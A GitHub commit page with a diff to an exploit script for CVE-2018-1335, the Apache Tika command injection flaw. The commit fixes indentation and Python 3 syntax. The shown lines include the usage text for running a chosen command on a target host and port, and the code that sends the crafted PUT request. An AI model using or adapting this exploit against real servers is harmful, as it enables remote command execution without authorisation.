Skip to content

Commit

Permalink
Update CVE-2018-1335.py
Browse files Browse the repository at this point in the history
Fixed lines 41-44 - TabError: inconsistent use of tabs and spaces in indentation.

Fixed line 44 - SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

Updated lines 13, 14, 40, and 44 to use "python3" rather than "python" in the usage messages.
  • Loading branch information
bradyjmcl authored May 18, 2024
1 parent 2a72b49 commit 61ab102
Showing 1 changed file with 6 additions and 6 deletions.
12 changes: 6 additions & 6 deletions CVE-2018-1335/CVE-2018-1335.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@
import requests

if len(sys.argv) < 4:
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
print("Usage: python3 CVE-2018-1335.py <host> <port> <command>")
print("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe")
else:
host = sys.argv[1]
port = sys.argv[2]
Expand All @@ -36,9 +36,9 @@
except:
try:
requests.put(f"http://{url}", headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python3 CVE-2018-1335.py <host> <port> <command>")
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

0 comments on commit 61ab102

Please sign in to comment.